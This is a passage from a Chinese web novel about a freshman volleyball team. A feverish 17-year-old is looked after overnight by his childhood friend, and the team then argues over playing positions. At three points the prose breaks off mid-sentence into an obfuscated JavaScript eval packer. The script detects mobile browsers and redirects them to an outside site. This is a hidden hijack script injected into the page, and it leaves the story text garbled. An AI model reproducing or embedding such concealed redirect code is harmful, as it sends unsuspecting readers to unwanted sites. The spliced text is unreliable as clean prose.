他胡思乱想着,看不到光线就当做没有光。脚步声在外面走来走去,很干扰他的困意。乐星回听到萧池在问“你看见乐乐了吗”、“人呢”、“床还是热的”这样的话,但赵锐好像没回应他。可能回应了,只是摇摇头,表示没看见。 乐星回的膝盖也抵住了柜壁,试图用“人微言轻”的手法进行物理降温。心情和眼皮一起往下沉,从局促往紧张过渡,掩耳盗铃的傻瓜就是他本人,沙漠鸵鸟也是他。快走吧,快走吧,让我一个人在这里烧一烧,明天我病好了,没人知道。 方才的瞌睡虫再次找上了他,乐星回就着这个卡住的姿势,断断续续见了一趟周公。周公不是那么清楚,一会儿又变成了妈妈,妈妈好像在和别人抢人。别抢,别抢了,乐星回急得双腿一蹬,就此醒来。 队服还在脑袋上扣着,周围一片漆黑。只有满身汗水的他。 外面是不是没人了?乐星回猜测萧池和赵锐肯定走了。也是,谁没事会往柜子里面躲,他们根据自身体型判断,衣柜藏不了人。乐星回将队服扯下来,突然间,阵阵辛辣的气息顺着柜门上百叶窗形状的缝隙钻进来,试图赶走鼻子的不通气。 什么东西?乐星回想出去看看,然而脚步声再次响起。 又停在柜门外面了。 难不成萧池和赵锐没离开?他们在宿舍里吃饭?这不应该,现在大家都在排球馆开会,他们留在宿舍干什么?不怕被宋教练批评吗?可转念一想,宋教练能批评得了谁? 刚才的小动作顿时化为乌有,乐星回又不敢动了。 突然间,他觉得柜门被人动了一下。 没有一下拉开,像单纯试探,乐星回小腹收紧、汗毛立起,一声不敢吭。他再一次将队服盖在头上,那试探的声音也变成了板上钉钉的确凿,乐星回萎靡不振地耷拉着小脑袋,门还是被打开了。 接下来的半分钟,乐星回拒绝出声,试图屏住呼吸,用闭气的方式把自己憋晕过去! 头顶的队服被一寸寸往下拽,和粉色卷发摩擦生热,给高烧再加一把火。乐星回拽住红色的一角,和不可抵挡的大势所趋进行顽强抵抗。自己现在的模样一定很傻,萧池和赵锐肯定要笑话。 队服就这样被掀开,乐星回被柜外的光芒刺得眯眼睛。眼梢双眼皮褶里的黑色小痣再次出现,它和它的主人一样胆小。 “唉。”柜外是一声长长的叹气,“你是要把自己笨死么?” 这声音?乐星回惨兮兮地扭过头。 “你应该知道,人是不可能靠憋气把自己憋死的吧?”陶最的右手打在柜门上沿,和他回家时的姿势一模一样。 乐星回还不知道脸已经憋红,居然是最坏的结果,看到他惨状的人是陶最。他吸了吸鼻子,又莫名生出些侥幸的幸福,这就叫小确幸吧?陶最永远能找到我。 “你怎么和以前一样笨?”陶最站在外面,“卡在柜子里,需要我把你抠出来么?” “你讨厌。”乐星回满脸虚汗,“你走开。” “我真的走?”陶最笑了笑。 “你留下。”乐星回立即可怜地说,“不,你还是滚吧。” 陶最在笑:“你先出来,然后商量我到底是滚还是不滚。” 乐星回保留消极态度,采取顽强抵抗。对于陶最“抠他出来”这个说法他也保留疑惑,自己几乎卡得严丝合缝,前胸贴后背,肩膀转动都是难事。陶醉如果真想动手,已经没有空余的间隙。 “你先出来。”陶最往后倒退两步,给他腾地方。 “我不,我不要听你说话。”乐星回坚定地发脾气,说来也怪,人在生病难受的时候就会扩张坏脾气。 “你在发烧。”陶最都不用体温表就猜出他的温度不低。 “发烧走出去就管用吗?”乐星回摇了摇头,他今天非要不知好歹。陶最也摇了摇头,走了。乐星回罕见地没有视觉追踪,陶最要是走就让他走吧。 几秒后陶最又回来,手里拿着下午他们一起买的陶瓷杯:“走出去有没有用我不知道,但喝药管用。你先出来。” 乐星回看那个杯子,这时候偏偏较劲:“药苦,我不喝。” “姜丝可乐。”陶最往前伸了伸。乐星回动动鼻子,嗅觉系统开始激活,正确识别出刚刚闻到的辛辣是鲜姜的姜丝。陶最往前一步,左手拿着杯子,右手像敞开怀抱:“你先出来。” 乐星回终于动了动小腿。 卡得太久,腿已经不知不觉发麻,肌肉里面都是小星星在闪烁。衣服、皮肤都在增加摩擦力,还擦出了声音,乐星回扭动屁股,终于腾出了左腿,一步迈了出去。陶最也在这时往后退了一步,仍旧面向衣柜:“再走一步。” 不知道嘟哝着什么,乐星回又迈出了小腿。他已经烧得口干舌燥,紧盯那个上面雕刻了雪人的陶瓷杯。冰蓝色的雪花盛着白白热气的可乐,乐星回又往前走了一步。 陶最又退了一步。“来,再走一步。” 乐星回迈了一步,陶最的右手臂穿过他的肩膀,将柜门关上了。关上的一刹那,乐星回泄气般倒入了陶最的怀抱,两只手配合地圈在他脖子上。陶最的身高往下沉了沉,空出的右手托住了乐星回的屁股,乐星回像小时候往上蹿了蹿,整个人挂住陶最,树懒般用腿圈住了他的腰。 然后他又听到陶最在笑了。“圈得住么?” 乐星回埋着头,牢牢地勾着腿:“我有力气。” “趁着还有力气快把药喝了。”陶最托着他在303里遛弯儿,乐星回涨红脸蛋,终于端起那杯不算太苦的“药水”,可乐早就被煮得没了气泡,颜色还是那么深。漂浮的姜丝邀功一样晃悠,和陶最溜达的步伐共同起伏。乐星回尝了一口:“好辣。” “辣才管用,你先喝。”陶最轻而易举地托着他。 乐星回闭上眼睛,咕咚咕咚忍着辣往下咽,如同吞了一口火,他变成了小火龙,食道蹭一下烧了个底朝天。辣意和姜丝驱赶寒意,赶不走湿润,陶最带来的大雨开始升温,成为了让人冒汗的桑拿天。 等这口气缓上来,乐星回不知道在303里转了多少圈:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875578|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你煮的?” “我上哪儿煮去?我不记得咱俩买电饭锅啊?”陶最反问,“你买了么?” “那你上哪找的特效药……”乐星回看着空空的水杯,“陶最,我想去外面遛弯儿。” “现在?”陶最把水杯放在桌上。乐星回执迷不悟:“就现在,屋里太闷,我难受。” 乐星回点点头,紧跟着一头撞上陶最的肩膀,脑袋耷拉下去。印象里他被陶最抱出了宿舍楼,等到他再睁眼,眼前是一整片的红砖楼。北体红砖楼很漂亮,砖块齐整,像点了很多蜡烛。每走几步就能瞧见活动预告和赛季旌旗,不是这个项目的自发联赛,就是那个项目的宿舍赛,北体的省状元比比皆是,灿若繁星。 乐星回又低下了头。 9月初,傍晚后的温度仍旧不低,凉风穿过乐星回的耳背,替他带走多余体温。他埋着头一会儿,抬起来看看,移动的人影不像校内的学生,倒像是过路行人。风吹过来花香和草香,乐星回不耐地动了动肩膀:“我腿麻了。” 不等陶最回应,他蹬着腿要下来:“你背我。” “唉。”陶最的叹气声随之而来,把他放在马路牙子上。乐星回忍不住和他比身高,踩着马路牙都比陶最矮。不过陶最蹲下去就不高了,乐星回像跌上他后背,自报家门般趴上去说:“你觉得……雪人杯子好看吗?” “像小姑娘喜欢的。”陶最缓缓起身,背起了他。乐星回重新找回了自己的摇篮,变成了一名水手,在名为“小最哥”的惊涛骇浪中安全起伏,上上下下。 他摇摇头,告诉陶最:“你以前说要给我堆雪人。” 陶最捞着他两条细腿,乐星回甚至没有穿鞋:“有么?” “有。”乐星回重新捞着他的脖子,“后来你走了,冬天没人给我堆雪人。所以你得记住,这是你欠我的。” “哈哈,好。”陶最点了点头,“前面往左还是往右,您吩咐。” 是个路口,左右两边都有人,左边的人比右边多。乐星回不知道哪边更好走、夜景更美,小时候他发了烧,陶最都是背着他一直遛弯儿。他随意地指了指右边:“你能背着我绕10圈北体吗?” “你4月份不是看过北体么?不知道北体多大?”陶最抬腿往右边走。 “我不知道……我没印象了。”乐星回摇摇头,当时他就在校园里看看,哪里顾得上外面。再说了,就算北体大外面不好看、不够大,他也是要考的,哪个运动员不想来这里上学? 陶最一步一步往前走,乐星回也就闭上了嘴巴和眼睛,彻底放松了。姜丝可乐这会儿开始发挥功效,在胃袋里燃起一个小火炉,蒸得他滋滋冒汗。乐星回真变成了火,他还有很多事情没来得及控诉,除了陶最没有给他堆的雪人,还有很多很多。 小最哥,你就是欠我的,你都要还。 北京体育大学的一圈确实挺大,陶最如果真按照乐星回的要求走10圈,他就是失心疯了。走到下一个红绿灯处,陶最颠了颠肩膀,确定身后人又睡着了。 他一拐弯,朝着最近的情侣酒店走过去。 11. 寒碜 乐星回在哥哥的身上做了一个很长的梦。 人在难受的时候会想起最不愿意面对的噩梦,乐星回梦到了他做过的手术。十几年前他算不上一个健壮的新生儿,连健康都勉强。他的耳朵天生多了一个小孔,先天性,来来回回发炎不好。光是动手术就不止一次。 手术台、医院、柳叶刀……组成了他的梦境。别人都说他是一个“不合格品”,在妈妈肚子里没有顺利过安检,长大才会这样。点点滴滴的大病小灾,上了小学才有了终结征兆,那时候,乐星回不惧怕去儿童医院了,因为陶最会陪他。病房里好多小孩儿,两个人戴着厚厚的口罩,陶最用额头量体温,盯着点滴液还剩下多少。 自己不是“不合格品”。 乐星回在梦里摇头,他拒绝承认身体的“瑕疵”,又无奈得要比别人多承受几倍的病痛。忽然间,有人在梦里拍拍他的脸蛋,他听到梦里的人让他张开嘴。 “张嘴。”声音时远时近,近的时候像说在耳朵里。乐星回“啊”地张开嘴巴,一股小甜水流了进来。他下意识吞咽了几口,梦境就在这时候断开,他重新进入到无梦的状态中。 不知道是不是太熟悉发烧,乐星回再睡醒的第一反应就是自己烧退了。退烧后小腿微微发酸,会让他联想起长个子的夜晚。可是眼前的颜色他不熟悉,无论是家还是学校,都不是粉红色的天花板…… 粉红色?自己为什么能看到粉红色?乐星回揉揉眼睛,难不成是这次发烧太严重,给眼睛烧出问题了?这是色盲还是色弱?颜色识别不准还能打排球吗? “睡醒了?真不容易。”陶最的声音就在他耳道里。 “啊!”乐星回被吓了一跳。 光顾得震惊眼前的粉红,乐星回没注意到旁边的人。两个人睡在一张床上,床单、枕头、被子都是浅粉色。乐星回连忙拉起被子看看,自己的裤子和袜子都不在,上衣还在。床头柜上出现了几瓶可疑液体,看似喝光,还有一些可疑药片。 “这是什么地方?”乐星回再看陶最那边的床头柜。上面堂而皇之地躺着两张身份证,妙蛙种子又被扒掉。 “你为什么带着我的身份证啊?”乐星回好多问题。 陶最一只手搭着眼睛,像不习惯白天:“在你包里找到的。” 什么?陶最居然还翻自己的包?什么时候?乐星回挣扎着坐起来,手环已经褪色,他缓缓地找理智:“这是哪里啊?我们怎么来的?” 陶最一言不发,只露出下半脸,在笑。 “你给我瞎吃什么了?我有很多东西过敏,我不能瞎吃药。”乐星回变相指责他。理智的回归也帮助乐星回整理了头绪,昨天是自己逼着陶最背他出来,他吹了北体的晚风,路过了红砖墙,闻到了大草坪。 这口气从僵硬变成松弛,乐星回的手也放下来。最起码他担心的事情没有发生,除了陶最,队里没人知道他生病了。昨天最担心的事情就是这个,池哥一定会大费周章地照顾自己,赵锐会打趣,他们两个人会传遍全队。 莫名其妙在外面过一夜,真不错。乐星回藏好这些小心思,不让陶最看出他的小聪明。“我吃了什么?” “退烧药和橙汁。”陶最不急不忙地回答,手拿下来,偏过头看他,“用水喂你吃药,你不吃。” “怎么可能……”乐星回对此全无印象,因为认定陶最在瞎掰。他在屋里吸鼻子,清着嗓子问:“这是哪里?” “情侣过夜的地方。”陶最说得更直白。 乐星回刚刚清好的嗓子变得又窄又堵,声带萎缩成细细一条。全副武装的理智顿时荒废,他钻进了被窝,把自己抻拉成直直的一条线。这种姿势像一条小小的秋刀鱼,乐星回躲在海里。 情侣过夜的地方?陶最为什么会知道? “又想什么呢?”陶最这时候问。 乐星回已经羞耻到不敢抬头,因为他发现他很兴奋。普通酒店已经不能满足他对兄弟爱情的幻想。他感觉到,自己和陶最的关系里压着很多东西,有禁忌,有伦理。陶最也明确地说过,他是把自己当成亲弟弟的。 “你以前是不是带人来过啊?不然你为什么会知道?还这么会选……选女孩子喜欢的粉色情侣套间。”乐星回头昏脑涨。 陶最坐了起来,他和乐星回刚好相反,下身是运动长裤,上身没衣服,只有那条刺眼的银项链在。他弯腰,从地上拿起一瓶喝了一半的果粒橙:“不止女孩子喜欢。”说完他喝了一口,笑着说,“也有男孩子喜欢粉色。” 秋刀鱼被冻僵了,乐星回光着脚踹他,更加坚信陶最是男女通吃。上初三时,他见过女生给陶最送巧克力,也见过男生给他送排球。送的还不是一般排球,是米卡萨v200,奥运会专用球。众所周知,那个排球在排人圈就是用来表白的,它很昂贵,也确实好打。用惯了v200的手根本摸不得平替。 “你带过多少人?”乐星回瞪大了眼睛,表情却很茫然,眼神很空洞。 陶最偏过头,看着他说:“你感觉怎么样?” “不怎么样,我感觉……反正我不喜欢粉色。”乐星回咳嗽两声,声音有些嘶哑,“咱们回学校吧,还要开会呢。” “等我喝完水。”陶最永远有他的节奏,而且谁也没法打破他的节奏。 乐星回偏着身体,永远捉摸不透他哥的话外之音。可是他更没法忽视他们在一起时情绪上的反应,这方面骗不了人,乐星回是喜悦的那个。他想拉过陶最的胳膊,挤着,和他抱一抱,但一抱起来,自己没发育的身体岂不是无处躲藏?陶最这瓶水喝了好久,久到乐星回又睡着了一下,他偷偷将手伸过去,放肆大胆地摸着陶最的裤带尖端,用那个金属头绕手指尖。他太笨,理解不了陶最的举动,但他不用看真人和照片就能临摹出陶最薄情的嘴唇。这半小时里陶最和陶最的裤带都是他的。 下午是文化专业课,上午是开会。如果说陶最忽视了群里的找人消息是本性使然,乐星回绝对是大半个同谋。 “陶最,你觉得我现在像什么?”等他们快走了,乐星回还躺在被窝里。 陶最站在床边系浅灰色的裤带,系成了一个正蝴蝶结:“秋刀鱼的滋味……”他说了半句歌词,掀开被子,“你昨天没穿鞋就跑出来了,记得吧?” “不记得了,你怎么不提醒我?让我这么寒碜地跑出来了?”乐星回可不想光着脚回去。 “这不是管不了你么?”陶最走向左边床头柜,蹲下来翻翻找找。他翻东西的动作太利索,一看就是有目的而来,乐星回滚到床边,看着陶最翻出一双白色的一次性拖鞋。 “我不穿。”乐星回缩手缩脚地回到被子里。太丑了,他怎么能穿那个走在大街上? “那我只能背你回去了。”陶最拆开一次性透明包装袋。乐星回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875579|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续瞪天花板,衡量着两种方案,最后下定决心:“那你给我穿袜子。” “这会儿又不嫌寒碜了?”陶最起身,又继续弯腰捡袜子。乐星回熟练地伸出腿,把双脚晾在床边上下晃动,他觉得他哥的手有魔力,自如地套袜子就能把他一颗心套得甘愿风尘仆仆。 往学校走的这一路,乐星回溜得特别快。他怕被人拍下来,变成开学的一个小笑料,更怕遇上同班同学。这时候大部队在排球馆,他坚持先回宿舍,冲了个热水澡、换了衣服,最重要的是穿好排球鞋。新队服上的褶印极其深,给他前胸后背画竖道,两人往排球馆去,乐星回自觉将队友介绍得差不多了,开始嘱咐:“今天可能要定位置,我要当主攻手。” “好。”陶最低下头,笑意更浓,“加油。” “这可是你说的,给我加油。而且当主攻手也是你鼓励我试试,你不能不管我。”乐星回拽拽他的袖口。本来就是嘛,原本乐星回没有这么高的心气儿,都是他哥怂恿的,什么“那就去打”,一猛子给乐星回戳到了外太空,觉得自己无所不能。 排球馆里面有人训练,学姐学长们早已投入状态。大一男排都在办公室,乐星回在门口喊了一声“报到”,推门而入。映入眼帘的情景是8个男生围坐在一张半新的办公桌前,宋教练坐在办公椅上,两只手紧紧地攥着保温杯。 “我们来晚了,对不起。”乐星回先道歉,“这是……” “陶最。”陶最主动点了点头。 态度还不错,乐星回也点了点头。赵锐离他最近,穿着自印的白色T恤,订制图案是一只雪纳瑞,那是他“妹妹”。见到陶最第一眼,赵锐就把乐星回拽身边来坐:“小乐乐,你昨天干嘛去了?” “我……我回家了。”乐星回撒弥天大谎。萧池这时候站起来,从角落搬出一张折叠凳,打开后对陶最说:“你昨天请假就是为了回家找乐乐吧?快坐。” “谢谢。”陶最没回答他的问题只是对着萧池笑了笑。不用乐星回介绍,屋里的人他都认识,打比赛碰面机会太多。特别是越往高级赛去打,面孔重复率陡然上升。 “……那个,刚刚我说到哪里了?”宋忍颠三倒四地说,“欢迎咱们新同学,陶最,欢迎欢迎。” 稀稀拉拉的掌声响起,宋忍又擦了擦汗水,原本他还指望萧池能帮自己主持会议,没想到萧池也是闷葫芦。“咱们今天……今天啊,主要探讨一下接下来的任务和位置,大家畅所欲言,畅所欲言……” 这种事,肯定是教练说话管用,不然谁也不服谁。可教练直接撂挑子,赵锐每次都是急先锋,不吝地举起手:“我二传。” 乐星回连忙看向陶最。陶最没说话。 “我和我哥也打过二传。”方飞羽第二个举手,“我哥二传比我好些,但我也不是不行。” 方丰羽点了点头,看向萧池。萧池紧张地说不出话,又开始揉骨节明显的手指。 “我,我没打过二传,小丰和小飞都很成熟。”最后萧池被逼出一句话来,“我一直都是……” “我想打主攻手。”乐星回连忙抢先了! 他不敢让池哥先说,池哥203,是全队最高最壮的人。如果他开口,自己的主攻梦彻底没戏。说完乐星回连忙再看他哥,然而陶最又一次进入了状况外,明明说好了替自己开口,又一言不发。 陶最在低头玩手机。 12. 他打不了 场面的焦灼加重了宋忍的局促不安。 他留着一个最普通的短发,穿最常见的冲锋衣,如果不是因为他190的身高,走在大街上,他完全可以完美地融入北京的背景,和四处可见的柏油地一个色。训练裤也是带有灰调的藏青色,保温杯照样坑坑洼洼,紧张出汗之后,发型好像变成了一顶瓜皮帽,扣在他脑袋上。 其实宋忍长得精神,就是人没精神。 “大家不要吵,不要吵。”最恐惧的状况还是发生了,宋忍特别怕听吵架。 “我们没吵,就是商量,商量。”乐星回赶紧给他刚刚的抢答定性,他才不要做带头吵架的刺头,他又不是赵锐。 赵锐是个单眼皮小伙儿,从认识乐星回那天开始他就不喜欢陶最,说不上来,两个人气场不对盘。后来陶最冷不丁给乐乐扔了3年,他更不喜欢这人,没想到大学又好死不死凑一队,真是冤家路窄。现在他就希望乐乐能看清事实,早一天逃离苦海。 等乐星回说完,赵锐第一时间瞥向坐在宋忍右边的李飞鸾。 李飞鸾刚才也听到了乐星回的话,他不经意地笑了一下,肩膀都颠了起来。和宋忍教练不同,李飞鸾只穿白色衣服,仿佛全世界只剩下这么一种颜色给他选。身高202,以1厘米的差距暂列全队海拔第2,之所以是“暂列”,主要因为竞体生在23岁之前还有一次爆发性增长。 他们运动量太大,身高、体重都是变量。 前提是骨骺线没愈合。 李飞鸾对陶最倒是没什么坏印象,乐乐小嘴叭叭的,军训14天已经把家底儿都交代完毕,没心没肺一个傻孩子。“宋教练,我也打过二传,我愿意服从分配。” 宋忍擦了擦汗:“好,好。” 来了,来了,宋忍一听到“服从分配”就如坐针毡,他巴不得全体都像乐星回那样积极抢占,不用他下手调和,每个孩子都自动分配好自己的位置。 “其实……你们军训之前,所有人的资料我都看过。”到了这一步,宋忍松开了他可怜兮兮的保温杯。 陶最也在这时候放下手机,看向了宋忍。宋忍和陶最对视一眼,连忙捞回了水杯,陶最是最难搞的那类,他还没摸透:“我知道你们都擅长打什么战术。” 还剩下3个人没开口,薛礼、齐小池和韦星火。齐小池在队里有个外号叫“小池子”,萧池是大家心里的“大池子”。薛礼像长跑生,皮肤黝黑且精干,军训时晚间训练看不见人。韦星火身高186,是队里的倒数第二海拔,这时主动举手发言:“宋教练,我也打过二传,但我觉得我是自由人。” “好,好。”宋忍点点头。 “我和小池子也打过二传。”薛礼不仅自己举手,还捞着齐小池的胳膊,像操控木偶一样把齐小池的手举起来。齐小池一双桃花眼,干脆趴在宋教练的办公桌上,用装死当作自己的伪装。 宋忍把孩子们看了一圈,昨天好不容易搞定的心理暗示再次崩塌:“那个……陶最,你擅长的位置是……” “二传。”陶最回答。 轰隆一声,宋忍头上的瓜皮帽头发要变成根根分明的刺猬,坐着一个激灵。他苦恼忧愁地搓着手心,掌中都是多年打球留下的薄茧和伤疤,他不知道该说自己走运还是不走运,眼前的困境恍惚变成了一个毛线团,他还摸不清线头在哪里。 二传手是一支排球队的大脑,是信号发射塔,是智斗的信息处理器。培养一个主攻手需要一年,培养一个二传需要很多年,二传不止考验队员的身体素质更是天赋,要球感、要思维、要感应。所以二传手的数量一直都是很少的,也是各大高校争夺的名额。 他们的劲敌首体大据说录取了一个很厉害的天赋二传手,宋忍却捧了一个烫手窝窝头,我手里是9个二传手啊!这咋办! 二传孩子批发了一窝。都说二传手全身上下都是心眼子,宋忍面对的是几倍心眼子。此刻他再看向萧池,可太喜欢这个孩子了,犹如欣慰的老父亲一般。这是一个淳朴、踏实、肯干的主攻手,就他没干过二传。 “你们让我想想。”宋忍不得不放开他的杯子,两只手挠挠头顶,“乐乐,你刚才说你要……” “打主攻手。您别看我小小一个,我起跳很优秀。”乐星回连忙用胳膊肘捅赵锐,“锐子可以帮我证明,我以前在队内摸高测试名列前茅!助跑垂直起跳有一米六。” 这确实是可观优秀的高度。赵锐伸出右胳膊搭在乐星回的椅背上,试图把乐乐往身边拉一拉:“我作证。乐乐的跳跃高度在队里和195的人画等号。” 弹跳天赋者,乐星回打了胜仗一般挺直腰杆。锐子就是好,锐子才是真正的靠山,帮自己说话! 赵锐继续拉着乐星回的椅背,拉过几厘米之后忽然发现拉不动了,椅子腿像黏在了地板上。 “宋教练,分配位置是您本职工作,不是我们的。”陶最动了动左腿,坐直了和宋忍对话,“没错吧?” 宋忍被直击要害:“是没错,但大家都打过二传,一时之间我也没法下定论。萧池是主攻手,乐星回当主攻手,我觉得……” “我可以当自由人。”韦星火见宋教练如此难做,连忙赶来救火。但这也算是无奈之举,他186的身高很明显干不了别的。北体在男排录取上有自己的定标线,曾经的最矮身高是185,而且那还是多年前。多年前的185放在如今可以当195来用。 打破定标线的人不是他,是乐星回。学校要了一个身高明显低于标准的未成年,全队只有乐星回还是小孩儿。 “好,暂定。”宋忍在笔记本上写备注,“主攻的话……目前国内标准是……”他又挠了挠头,怕伤了孩子自尊心,“两米。” 乐星回泄气皮球一样蔫儿了。 这不是两厘米,也不是十二厘米,是二十厘米的差距。一米八和两米是一个脑袋的高度差。乐星回肉眼可见失落,两只手戳在不发达的大腿肌肉上,肩膀撑起两个直角来。 “可是……”可是他还想试试,他没那么容易放弃。 “你这个身高,进不了国家的主攻线啊。”宋忍只好快刀斩乱麻,长痛不如短痛! 从小爱哭的乐星回首先感觉到鼻子酸,他虽然不是什么泪失禁体质,可这爱掉眼泪的毛病改不掉。别人都说他是小哭包,只有乐星回早知道他多不愿意哭,但管不住自己的眼睛。爱哭就像他对陶最的分离焦虑,成为了他17年半人生的必要组成部分。 “是国家的规定,还是国家队的规定啊?” 冷不丁发言的人,是陶最。 大家都看向他,包括乐星回。 陶最坐姿并没有萧池那么端正,但也不像齐小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875580|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池那么奇葩。倾斜角度看上去微微高低肩,实际上只是太放松。然而他的语气和放松没有半点关联:“宋教练,我问您呢?” 所有人的目光又回到宋忍脸上。乐星回看着他们教练弱小无助地坐着,悄悄在椅子下面踹陶最的鞋,你别散德行。 “里约赛事之后,国际排联取消排球运动员队服号码数字限定,每个人可以自由选择喜欢的数字,这是规定。自由人上下场、换人上下场不再需要举牌号码,一切以加快比赛节奏为基准,这是规定。从今年开始,发球时不允许前方队员进行肢体阻挡,干扰另一方视觉范围,这是规定。各队在接发球时不必遵守固定站位,而使用隐藏站位,这是规定。发球员的排球一旦离手,各队运动员即可快速寻找有利位置,这是规定。”陶最说,“180不能当主攻手,是国际排联还是中国排联的规定?” 一番话不止给宋忍听,每个人都在听。要说主攻手必须两米,这是约定俗成的规则,现在的球员发育好,中国一抓一大把195以上。但世界上真没有这么一条规定。 “既然没有这样的规定,乐星回可以打主攻手。对吧?”陶最说完看向了旁边。 乐星回恨不得找个地缝钻进去,他是希望陶最帮他,给他一些鼓励和加油,在自己努力争取位置的时候稳稳当靠山。但他不希望他哥真刀真枪和教练单挑啊,场面变得很尴尬。 全世界最不怕尴尬的人反而是陶最,乐星回只怪自己没防备。赖自己太过相信陶最的圆滑。 “那……让乐星回试试吧。”宋忍居然点了下脑袋,“不过,我也有一个条件。” “说。”陶最更像主教练。 “你来当副队长。”宋忍趁机把陶最拿下。他拎不起来,陶最一番话怼得他哑口无言,只能同意乐星回的要求。萧池也是软耳朵,估计不太硬气。但陶最不一样,宋忍在他身上看到了自己和萧池都没有的优势。 “你当副队长,以后配合萧池工作,乐星回可以当小主攻,萧池定大主攻,咱们后天和大二男排打训练赛,即刻就上。”这是宋忍这几年最大胆的时候了。 真、真让自己上了?还可以打训练赛?乐星回兴致勃勃地看向陶最,又兴致缺缺地低了头。不会顺利的,陶最从前就不爱管事,他只管他自己。 “可以。”陶最却点了点头。 乐星回刚刚低下的小脑袋像向日葵,猝不及防地找到了一轮不算光辉灿烂的太阳。 萧池第一时间松了一口气,他是个老好人,总喜欢当和事佬。眼前这状况他不知道如何下手,好在陶最同意。等短暂的会议结束,大家伙一起往教学楼走,萧池追上了陶最,憨厚地说:“谢谢你愿意当副队长,我一个人真不知道怎么管他们……” “是不知道怎么管,还是习惯纵容了?”陶最瞄了一眼身后小团体一样的方家兄弟。 “我是这个脾气,你别看我块儿头大,我很怕事。”萧池什么都说,“但是我真没想到你愿意支持乐乐,不愧是兄弟俩,乐乐没看错你。” “是么?有时候他也看不准。”陶最回了下头。乐星回和赵锐勾肩搭背着走。 “那你觉得他打主攻手行吗?”萧池很期待后天的训练赛,小但爆发性强,这样的主攻手他没见过。 不料陶最换了一副面孔,很快地摇了头:“他打不了。” 13.AAA二传批发 刚才和宋忍讲“规定”时多咄咄逼人,此刻的陶最就多么残忍。萧池还以为他在以退为进,先象征性批评一番然后再说其实乐乐也有机会。 半分钟过去,他没等来陶最口中的机会和表扬。陶最只是简简单单用4个字敲定了一项未来,轻描淡写到不像个刽子手。而陶最显然也不在意萧池的评价,走入教学楼,他快步找到了大教室,顺利地带队坐上了最后两排。 乐星回到教室里也没有和赵锐分开,方才陶最推门时学校的门框都显得那么矮小。陶最坐在他前排,利落地翻出上课要用的书和笔袋,乐星回抻着脖子往前看,搜索笔袋拉锁上是否还有自己当年送给他的小挂件。 陶最从不在意别人的眼光,一个普普通通浅灰色的长条形笔袋可以用很多年,从高中用到大学。 可陶最也从不在意人,拉锁上只有空气。乐星回听到他翻书声音,哗哗哗,仿佛在窗外开了一台电风扇。乐星回愣神了两秒钟,第一次对大学生活有了全新的认识和理解,自己真的是大学生了。这种冲击甚至带给他几秒的僵硬,大学生在学校里有更多的自由时间和空间,他不用盯着黑板最右侧的课程表,“物物物化化生”读下来,每节课都有不一样的教室,下午6个小时全是训练。 等这阵僵硬过去,乐星回拿起他的小黄人圆珠笔,用笔帽上的小黄人脑袋戳陶最的后背。 奇怪吧,他哥能为了和他一届读书,自愿晚上一年学。但他们除了小学在一起,初中和高中都不是同一所学校。小学时是自己坐在他前面,上课开小差、打瞌睡,陶最就用手里的笔戳一下乐星回,给乐星回戳得一惊一乍。 “怎么了?”陶最被戳,靠向了椅背,“又想上厕所?” “才不是。”乐星回收回小黄人,他犹豫了一下,“谢谢哦。” “谢我什么?”陶最似懂非懂地反问。 乐星回抠着小黄人那小得可怜的脑袋,小学时候的他总是慢半拍,又抢不到洗手间,经常上课了才想去尿尿。不好意思举手,乐星回就让陶最举手,陶最每次都厚着脸皮说要去洗手间,顺便拉上真正要去的乐星回。小学的楼梯很长,乐星回爬上又爬下,认定那是一场他哥带领他的大冒险。那一扇扇上课的门就是无数个未知世界。 “谢谢你今天帮我说话,我……我晚上请你吃饭?”乐星回大胆地邀约。 陶最半回头,瞄了一眼乐星回一头蓬松卷发:“就这么谢我?” “请你吃饭还不行?”乐星回弯下腰去,现在的他还是中学生思想,生怕最前面的老师一眼识别出他开小差。他往前够着,陶最靠着椅背,两个人很近,乐星回冷不丁地说:“你那件毛衣还在吗?” 陶最那件灰色高领毛衣很好看,领子总能竖着,顶着他哥后颈的发梢。乐星回又羡慕起陶最的头发,其实他头发也挺乱,发旋疯了一样乱长,发丝也不柔软,执拗地伸向自己喜欢的方向。但被他哥那颗脑袋顶上了,这万千烦恼丝只显得懒散。 “你还是攒两天再请我吧。”陶最略过毛衣的问题,回答了上一个。 乐星回的脑袋压得更低了:“我有钱。” “有多少?”陶最将脸正过去。 乐星回算了算:“反正我有很多,这是我个人财务问题,很敏感,不方便透露。你想吃什么?”无非就是想增加自己和陶最见面的机会,乐星回怕他下午训练完之后就跑,“吃麻辣烫可以吗?” 